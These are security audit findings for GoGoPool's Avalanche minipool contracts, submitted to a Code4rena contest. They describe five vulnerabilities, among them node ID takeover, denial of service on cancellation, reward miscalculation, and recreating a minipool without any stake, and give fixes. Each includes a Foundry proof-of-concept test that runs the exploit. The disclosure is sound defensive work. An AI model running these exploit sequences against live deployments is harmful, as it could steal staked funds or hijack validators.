GoGoPool contest - Jeiwan's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L242-L246

Vulnerability details

Impact

An attacker may become the owner of a node ID that was used by a benevolent validator to run a validator node. The original validator won't be able to use the node ID while it's used by an attacker.

Proof of Concept

The createMinipool function of the MinipoolManager contract allows to re-initialize a minipool (transit it into the "Prelaunch" state) that was created earlier. However, the function doesn't check that re-initialization is initiated by the original minipool creator and the owner of the node ID associated with the minipool (MinipoolManager.sol#L242-L247):

// Create or update a minipool record for nodeID
// If nodeID exists, only allow overwriting if node is finished or canceled
// 		(completed its validation period and all rewards paid and processing is complete)
int256 minipoolIndex = getIndexOf(nodeID);
if (minipoolIndex != -1) { // @audit-issue owner is not checked
  requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch); // @audit check
  resetMinipoolData(minipoolIndex);
  // Also reset initialStartTime as we are starting a whole new validation
  setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);
} else {
  minipoolIndex = int256(getUint(keccak256("minipool.count")));
  // The minipoolIndex is stored 1 greater than actual value. The 1 is subtracted in getIndexOf()
  setUint(keccak256(abi.encodePacked("minipool.index", nodeID)), uint256(minipoolIndex + 1));
  setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".nodeID")), nodeID);
  addUint(keccak256("minipool.count"), 1);
}

The contract maintains the list of node IDs. A node ID is the unique identifier of an Avalanche validator node: every minipool is associated with a node ID (MinipoolManager.sol#L250-L251). Every minipool is also associated with an owner, the creator of the minipool and the address who controls the node ID and who is able to run an Avalanche validator node with the ID (MinipoolManager.sol#L259).

The lifecycle of a minipool include multiple states and transitions (MinipoolManager.sol#L157-L170). Newly created minipools have the "Prelaunched" state, and they can also return to this state after certain operations (MinipoolManager.sol#L157-L170):

1. after validation period has ended;
2. after funds have been withdrawn from a pool;
3. after an error has been recorded by a multisig for the pool;
4. after a minipool was canceled.

After all these events, a minipool can be re-initialized via the createMinipool function (MinipoolManager.sol#L241-L246). However, re-initialization can be triggered anyone, not only the owner of the minipool.

The following proof of concept demonstrates the vulnerability:

// test/uni/MinipoolManager.t.sol

function testCreateMinipoolNodeIDTakeover_AUDIT() public {
  address nodeID = address(1);
  uint256 duration = 2 weeks;
  uint256 delegationFee = 20;
  uint256 avaxAssignmentRequest = 1000 ether;
  uint256 nopAvaxAmount = 1000 ether;

  uint256 vaultOriginalBalance = vault.balanceOf("MinipoolManager");

  assertEq(minipoolMgr.getMinipoolCount(), 0);

  // A benevolent user creates a minipool and plans to run a validator node.
  vm.startPrank(nodeOp);
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(100 ether);
  minipoolMgr.createMinipool{value: nopAvaxAmount}(nodeID, duration, delegationFee, avaxAssignmentRequest);
  vm.stopPrank();

  // The benevolent user is the owner of the minipool and associated node ID.
  int256 minipoolIndex = minipoolMgr.getIndexOf(nodeID);
  MinipoolManager.Minipool memory mp = minipoolMgr.getMinipool(minipoolIndex);
  assertEq(mp.owner, address(nodeOp));

  // The benevolent user receives funds from the protocol and runs a validator node.
  // After some time the user decides to stop their node and returns 2000 AVAX to the protocol.
  // Their minipool ends up in the Withdrawable or the Finished state.
  // For simplicity, I'll cancel the minipool instead of going through the entire cycle.
  // The main requirement at this point is that the minipool ends up in a state from which it can
  // transit to the "Prelaunch" state:
  // https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L157-L170
  skip(5 seconds); //cancellation moratorium
  vm.prank(nodeOp);
  minipoolMgr.cancelMinipool(nodeID);

  // An attacker stakes GGP so they could launch a minipool.
  address attacker = address(0x31337);
  dealGGP(attacker, 100 ether);
  vm.deal(attacker, nopAvaxAmount);

  // The attacker re-initializes the minipool created by the benevolent user:
  // notice that the same nodeID is used.
  vm.startPrank(attacker);
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(100 ether);
  minipoolMgr.createMinipool{value: nopAvaxAmount}(nodeID, duration, delegationFee, avaxAssignmentRequest);
  vm.stopPrank();

  int256 minipoolIndex1 = minipoolMgr.getIndexOf(nodeID);
  MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(minipoolIndex1);

  // The attacker becomes the owner of the minipool that was initially created by the benevolent user.
  assertEq(mp1.nodeID, nodeID);
  assertEq(mp1.status, uint256(MinipoolStatus.Prelaunch));
  assertEq(mp1.owner, address(attacker));
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider this change:

--- a/contracts/contract/MinipoolManager.sol
+++ b/contracts/contract/MinipoolManager.sol
@@ -240,6 +240,7 @@ contract MinipoolManager is Base, ReentrancyGuard, IWithdrawer {
                //              (completed its validation period and all rewards paid and processing is complete)
                int256 minipoolIndex = getIndexOf(nodeID);
                if (minipoolIndex != -1) {
+                       onlyOwner(minipoolIndex);
                        requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
                        resetMinipoolData(minipoolIndex);
                        // Also reset initialStartTime as we are starting a whole new validation

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L260 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L127-L135

Vulnerability details

Impact

Disabling multisigs during an emergency will not produce any effect. Compromised or exploited in other ways multisigs may still perform operations on minipools, including allocating funds to minipools, termination, cancelling and slashing of minipools.

Proof of Concept

Every minipool has an associated multisig address that's allowed to manage the pools it's assigned to (MinipoolManager.sol#L236):

address multisig = multisigManager.requireNextActiveMultisig();
...
setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr")), multisig);

Multisigs are responsible for performing the most critical operations on minipools: allocating funds to minipools, managing pool's state (MinipoolManager.sol#L349, MinipoolManager.sol#L385, MinipoolManager.sol#L484), cancelling, slashing, etc. Multisigs are picked from a pool of trusted multisigs (MultisigManager.sol#L109-L112). In emergency situations, all existing multisig addresses may be disabled (Ocyticus.sol#L55):

function disableAllMultisigs() public onlyDefender {
  MultisigManager mm = MultisigManager(getContractAddress("MultisigManager"));
  uint256 count = mm.getCount();

  address addr;
  bool enabled;
  for (uint256 i = 0; i < count; i++) {
    (addr, enabled) = mm.getMultisig(i);
    if (enabled) {
      mm.disableMultisig(addr);
    }
  }
}

However, when multisigs are validated in the MinipoolManager contract, there's no check for whether they're enabled or not (MinipoolManager.sol#L127):

function onlyValidMultisig(address nodeID) private view returns (int256) {
  int256 minipoolIndex = requireValidMinipool(nodeID);

  address assignedMultisig = getAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr")));
  if (msg.sender != assignedMultisig) {
    revert InvalidMultisigAddress();
  }
  return minipoolIndex;
}

Tools Used

Manual review

Recommended Mitigation Steps

In the onlyValidMultisig modifier, consider checking that the multisig assigned to a minipool is enabled in the MultisigManager contract. As an extra measure in emergency situations, consider adding the ability for the defender to assign different multisigs to existing minipools.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L664

Vulnerability details

Impact

A malicious node operator may create a minipool that cannot be cancelled.

Proof of Concept

Rialto may cancel a minipool by calling cancelMinipoolByMultisig, however the function sends AVAX to the minipool owner, and the owner may block receiving of AVAX, causing the call to cancelMinipoolByMultisig to fail (MinipoolManager.sol#L664):

function _cancelMinipoolAndReturnFunds(address nodeID, int256 index) private {
  ...
  address owner = getAddress(keccak256(abi.encodePacked("minipool.item", index, ".owner")));
  ...
  owner.safeTransferETH(avaxNodeOpAmt);
}

The following PoC demonstrates how calls to cancelMinipoolByMultisig can be blocked:

function testCancelMinipoolByMultisigDOS_AUDIT() public {
  uint256 duration = 2 weeks;
  uint256 depositAmt = 1000 ether;
  uint256 avaxAssignmentRequest = 1000 ether;
  uint128 ggpStakeAmt = 200 ether;

  // Node operator is a contract than cannot receive AVAX:
  // contract NodeOpContract {}
  NodeOpContract nodeOpContract = new NodeOpContract();
  dealGGP(address(nodeOpContract), ggpStakeAmt);
  vm.deal(address(nodeOpContract), depositAmt);

  vm.startPrank(address(nodeOpContract));
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(ggpStakeAmt);
  MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
  vm.stopPrank();

  bytes32 errorCode = "INVALID_NODEID";
  int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
  store.setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch));

  // Rialto trices to cancel the minipool created by the node operator contract but the transaction reverts since
  // the node operator contract cannot receive AVAX.
  vm.prank(address(rialto));
  // FAIL: reverted with ETH_TRANSFER_FAILED
  minipoolMgr.cancelMinipoolByMultisig(mp1.nodeID, errorCode);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider using the Pull over Push pattern to return AVAX to owners of minipools that are canceled by Rialto.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L450

Vulnerability details

Impact

After recreation, minipools will receive more AVAX than the sum of their owners' current stake and the rewards that they generated.

Proof of Concept

Multipools that successfully finished validation may be recreated by multisigs, before staked GGP and deposited AVAX have been withdrawn by minipool owners (MinipoolManager.sol#L444). The function compounds deposited AVAX by adding the rewards earned during previous validation periods to the AVAX amounts deposited and requested from stakers (MinipoolManager.sol#L450-L452):

Minipool memory mp = getMinipool(minipoolIndex);
// Compound the avax plus rewards
// NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio
uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt;
setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt);
setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt);

The function assumes that a node operator and liquid stakers earned an equal reward amount: compoundedAvaxNodeOpAmt is calculated as the sum of the current AVAX deposit of the minipool owner and the node operator reward earned so far. However, liquid stakers get a smaller reward than node operators: the minipool node commission fee is applied to their share (MinipoolManager.sol#L417):

  uint256 avaxHalfRewards = avaxTotalRewardAmt / 2;

  // Node operators recv an additional commission fee
  ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
  uint256 avaxLiquidStakerRewardAmt = avaxHalfRewards - avaxHalfRewards.mulWadDown(dao.getMinipoolNodeCommissionFeePct());
  uint256 avaxNodeOpRewardAmt = avaxTotalRewardAmt - avaxLiquidStakerRewardAmt;

As a result, the avaxLiquidStakerAmt set in the recreateMinipool function will always be bigger than the actual amount since it equals to the compounded node operator amount, which includes node operator rewards.

Next, in the recreateMinipool function, the assigned AVAX amount is increased by the amount borrowed from liquid stakers + the node operator amount, which is again wrong because the assigned AVAX amount can only be increased by the liquid stakers' reward share (MinipoolManager.sol#L457-L459):

staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt);
staking.increaseAVAXAssigned(mp.owner, compoundedAvaxNodeOpAmt);
staking.increaseMinipoolCount(mp.owner);

As a result, the amount of AVAX borrowed from liquid stakers by the minipool will be increased by the minipool node commission fee, the increased amount will be sent to the validator, and it will be required to end the validation period.

The following PoC demonstrates the wrong calculation:

// test/unit/MinipoolManager.t.sol
function testRecreateMinipoolWrongLiquidStakerReward_AUDIT() public {
  uint256 duration = 4 weeks;
  uint256 depositAmt = 1000 ether;
  uint256 avaxAssignmentRequest = 1000 ether;
  uint256 validationAmt = depositAmt + avaxAssignmentRequest;
  // Enough to start but not to re-stake, we will add more later
  uint128 ggpStakeAmt = 100 ether;

  vm.startPrank(nodeOp);
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(ggpStakeAmt);
  MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
  vm.stopPrank();

  address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
  vm.prank(liqStaker1);
  ggAVAX.depositAVAX{value: MAX_AMT}();

  vm.prank(address(rialto));
  minipoolMgr.claimAndInitiateStaking(mp.nodeID);

  bytes32 txID = keccak256("txid");
  vm.prank(address(rialto));
  minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

  skip(duration / 2);

  // Give rialto the rewards it needs
  uint256 rewards = 10 ether;
  deal(address(rialto), address(rialto).balance + rewards);

  // Pay out the rewards
  vm.prank(address(rialto));
  minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);
  MinipoolManager.Minipool memory mpAfterEnd = minipoolMgr.getMinipoolByNodeID(mp.nodeID);
  assertEq(mpAfterEnd.avaxNodeOpAmt, depositAmt);
  assertEq(mpAfterEnd.avaxLiquidStakerAmt, avaxAssignmentRequest);

  // After the validation periods has ended, the node operator and liquid stakers got different rewards,
  // since a fee was taken from the liquid stakers' share.
  uint256 nodeOpReward = 5.75 ether;
  uint256 liquidStakerReward = 4.25 ether;
  assertEq(mpAfterEnd.avaxNodeOpRewardAmt, nodeOpReward);
  assertEq(mpAfterEnd.avaxLiquidStakerRewardAmt, liquidStakerReward);

  // Add a bit more collateral to cover the compounding rewards
  vm.prank(nodeOp);
  staking.stakeGGP(1 ether);

  vm.prank(address(rialto));
  minipoolMgr.recreateMinipool(mp.nodeID);

  MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID);
  // After pool was recreated, node operator's amounts were increased correctly.
  assertEq(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpAmt + nodeOpReward);
  assertEq(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpInitialAmt + nodeOpReward);
  assertEq(staking.getAVAXStake(mp.owner), mp.avaxNodeOpAmt + nodeOpReward);

  // However, liquid stakers' amount were increased incorrectly: nodeOpReward was added instead of liquidStakerReward.
  // These assertions will fail:
  // expected: 1004.25 ether, actual 1005.75 ether
  assertEq(mpCompounded.avaxLiquidStakerAmt, mp.avaxLiquidStakerAmt + liquidStakerReward);
  assertEq(staking.getAVAXAssigned(mp.owner), mp.avaxLiquidStakerAmt + liquidStakerReward);
}

Tools Used

Manual review

Recommended Mitigation Steps

When compounding rewards in the recreateMinipool function, consider using an average reward so that node operator's and liquid stakers' deposits are increased equally and the entire reward amount is used:

--- a/contracts/contract/MinipoolManager.sol
+++ b/contracts/contract/MinipoolManager.sol
@@ -443,18 +443,22 @@ contract MinipoolManager is Base, ReentrancyGuard, IWithdrawer {
        /// @param nodeID 20-byte Avalanche node ID
        function recreateMinipool(address nodeID) external whenNotPaused {
                int256 minipoolIndex = onlyValidMultisig(nodeID);
                requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
                Minipool memory mp = getMinipool(minipoolIndex);
                // Compound the avax plus rewards
                // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio
-               uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt;
+               uint256 nodeOpRewardAmt = getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpRewardAmt")));
+               uint256 liquidStakerRewardAmt = getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerRewardAmt")));
+               uint256 avgRewardAmt = (nodeOpRewardAmt + liquidStakerRewardAmt) / 2;
+
+               uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + avgRewardAmt;
                setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt);
                setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt);

                Staking staking = Staking(getContractAddress("Staking"));
                // Only increase AVAX stake by rewards amount we are compounding
                // since AVAX stake is only decreased by withdrawMinipool()
-               staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt);
+               staking.increaseAVAXStake(mp.owner, avgRewardAmt);
                staking.increaseAVAXAssigned(mp.owner, compoundedAvaxNodeOpAmt);
                staking.increaseMinipoolCount(mp.owner);

Also, consider sending equal amounts of rewards to the vault and the ggAVAX token in the recordStakingEnd function.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L446 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L165-L167

Vulnerability details

Impact

A node may receive the full AVAX amount (2000 AVAX) from the protocol without staking the required minimal AVAX amount (1000 AVAX). The owner of the recreated minipool may withdraw the validation reward earned by the minipool.

Proof of Concept

The recreateMinipool function allows Rialto to recreate a minipool for an existing node ID (MinipoolManager.sol#L444). The function requires that the current state of the minipool being recreated is either: Withdrawable, Error, Finished, or Cancelled (MinipoolManager.sol#L446, MinipoolManager.sol#L152-L175). The function allows to reuse currently staked AVAX and compound them with validation rewards collected from a previous validation period to run another validation period. The function assumes that the minipool owner hasn't withdrawn their staked AVAX from the protocol (MinipoolManager.sol#L455-L457):

// Only increase AVAX stake by rewards amount we are compounding
// since AVAX stake is only decreased by withdrawMinipool()
staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt);

However, since the minipool may be in the Finished state (in which it's transitioned to after staked AVAX has been withdrawn), this assumption is wrong. Moreover, besides the state check, the only other check in the function is the minimal collateralization ratio check, which only requires that the minipool owner has enough GGP staked to cover the 1000 AVAX the minipool is going to borrow from stakers (MinipoolManager.sol#L469-L471, Staking.sol#L269-L279):

function getCollateralizationRatio(address stakerAddr) public view returns (uint256) {
  uint256 avaxAssigned = getAVAXAssigned(stakerAddr);
  if (avaxAssigned == 0) {
    // Infinite collat ratio
    return type(uint256).max;
  }
  Oracle oracle = Oracle(getContractAddress("Oracle"));
  (uint256 ggpPriceInAvax, ) = oracle.getGGPPriceInAVAX();
  uint256 ggpStakedInAvax = getGGPStake(stakerAddr).mulWadDown(ggpPriceInAvax);
  return ggpStakedInAvax.divWadDown(avaxAssigned);
}

Thus, for a minipool to be recreated its owner must only stake enough GGP to cover the borrower 1000 AVAX.

In case a node validator is successfully run for a recreated minipool, the owner of the minipool may withdraw the validation reward earned during the validation period, as demonstrated by the following PoC:

// test/unit/MinipoolManager.t.sol
function testRecreateMinipoolMissingStake_AUDIT() public {
  uint256 duration = 4 weeks;
  uint256 depositAmt = 1000 ether;
  uint256 avaxAssignmentRequest = 1000 ether;
  uint128 ggpStakeAmt = 100 ether;
  uint256 nodeOpBalanceBefore = address(nodeOp).balance;

  // Normal flow of events:
  // - User creates a minipool.
  vm.startPrank(nodeOp);
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(ggpStakeAmt);
  MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
  vm.stopPrank();

  address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
  vm.prank(liqStaker1);
  ggAVAX.depositAVAX{value: MAX_AMT}();

  // - Rialto initiations staking for the minipool.
  vm.prank(address(rialto));
  minipoolMgr.claimAndInitiateStaking(mp.nodeID);

  // - Validation has started.
  bytes32 txID = keccak256("txid");
  vm.prank(address(rialto));
  minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

  skip(duration / 2);

  uint256 rewards = 10 ether;
  deal(address(rialto), address(rialto).balance + rewards);

  // - After some time, validation was ended without an error.
  vm.prank(address(rialto));
  minipoolMgr.recordStakingEnd{value: depositAmt + avaxAssignmentRequest + rewards}(mp.nodeID, block.timestamp, rewards);

  // Exploit starts here:
  // - The minipool owner withdraws pool funds.
  vm.prank(nodeOp);
  minipoolMgr.withdrawMinipoolFunds(mp.nodeID);

  // - Rialto recreates the minipool.
  vm.prank(nodeOp);
  staking.stakeGGP(1 ether); // Add a bit more collateral to cover the compounding rewards
  vm.prank(address(rialto));
  minipoolMgr.recreateMinipool(mp.nodeID);

  // - The minipool was successfully recreated.
  MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID);
  assertEq(mpCompounded.status, uint256(MinipoolStatus.Prelaunch));

  uint256 nodeOpReward = mpCompounded.avaxNodeOpAmt - mp.avaxNodeOpAmt;
  uint256 liquidStakerReward = mpCompounded.avaxLiquidStakerAmt - mp.avaxLiquidStakerAmt;

  // - The minipool manager thinks the node has the entire 1000 AVAX staked + the reward.
  assertEq(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpAmt + nodeOpReward);
  assertEq(mpCompounded.avaxLiquidStakerAmt, mp.avaxLiquidStakerAmt + liquidStakerReward);

  // - The amount of AVAX staked by the minipool owner has increased by nodeOpReward,
  // however no AVAX were deposited.
  assertEq(staking.getAVAXStake(mp.owner), nodeOpReward);
  assertEq(staking.getAVAXAssigned(mp.owner), mpCompounded.avaxLiquidStakerAmt);

  // - However, the vault's balance is 0, since the minipool owner has withdrawn funds in the `withdrawMinipoolFunds` call.
  // At this point, the minipool owner has staked nothing, but the pool was still recreated.
  assertEq(address(vault).balance, 0);

  // Other users of the protocol deposit 2000 AVAX to the vault by creating minipools.
  vm.deal(address(minipoolMgr), 2000 ether);
  vm.prank(address(minipoolMgr));
  vault.depositAVAX{value: 2000 ether}();
  assertEq(address(vault).balance, 2000 ether);

  // - Rialto successfully initiates staking for the recreated pool.
  vm.prank(address(rialto));
  minipoolMgr.claimAndInitiateStaking(mp.nodeID);

  // - The node is running, validation has started.
  vm.prank(address(rialto));
  minipoolMgr.recordStakingStart(mp.nodeID, keccak256("txid2"), block.timestamp);

  skip(duration / 2);

  deal(address(rialto), address(rialto).balance + rewards);

  vm.prank(address(rialto));
  minipoolMgr.recordStakingEnd{value: mpCompounded.avaxNodeOpAmt + mpCompounded.avaxLiquidStakerAmt + rewards}(mp.nodeID, block.timestamp, rewards);

  // - Eventually, the minipool owner can creat a new minipool...
  vm.startPrank(nodeOp);
  minipoolMgr.createMinipool{value: depositAmt}(address(1), 4 weeks, 0.02 ether, avaxAssignmentRequest);

  // ... and withdraw the rewards accumulated in the first minipool.
  minipoolMgr.withdrawMinipoolFunds(mp.nodeID);

  assertEq(address(nodeOp).balance - nodeOpBalanceBefore, nodeOpReward * 3);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider allowing recreation of a minipool only from the Withdrawable state.